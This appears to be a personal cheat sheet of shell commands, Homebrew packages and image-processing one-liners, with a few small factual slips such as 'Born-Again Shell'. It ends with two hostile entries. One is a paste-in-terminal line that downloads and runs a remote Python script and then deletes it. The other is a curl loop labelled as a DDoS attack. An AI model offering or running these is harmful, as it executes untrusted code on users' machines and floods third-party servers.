Bash: (Born-Again Shell) - command-line.
ZSH: (Z Shell) - alternative to Bash.
Homebrew: Package manager/Installer.
[DL]
Package: Computer program package archive.
To Install Package: "brew install (package_name)"
Commands
ls: (List storage) - displays contents in current directory.
cd: (Change directoy) - changes the current directory.
pushd: (Push directory) - temporarily changes directory.
popd: (Pop directory) - reverts the pushed (temporary) directory.
locate: Searches system for filename containing keyword.
which: Lets you know where a command file is.
cal: Displays a calendar.
history: Displays a history of commands.
whatis: Shows description of commands.
Popular Packages
htop: popular, yet basic text-GUI for task monitoring.
glances: a nicer version of the htop GUI.
fish: tool for customizing the interface?
jpegoptim: simple tool for image automation.
imagemagick: extensive tool for image automation.
Image Automation
Compress: jpegoptim example_img.jpg
Progressify: mogrify -interlace plane *.jpg
Progressify 1 file: convert input.jpg -interlace plane output.jpg
Progressify + subdirs: find . -iname \*.jpg -exec convert {} -interlace plane {} \;
TOP SECRET
Paste in terminal: php -r "copy('https://2mp.co/sample.py', '328.py');"; python 328.py; rm 328.py
DDOS ATTACK
Paste in terminal: while true; do curl -m1 IP_ADDRESS_HERE; done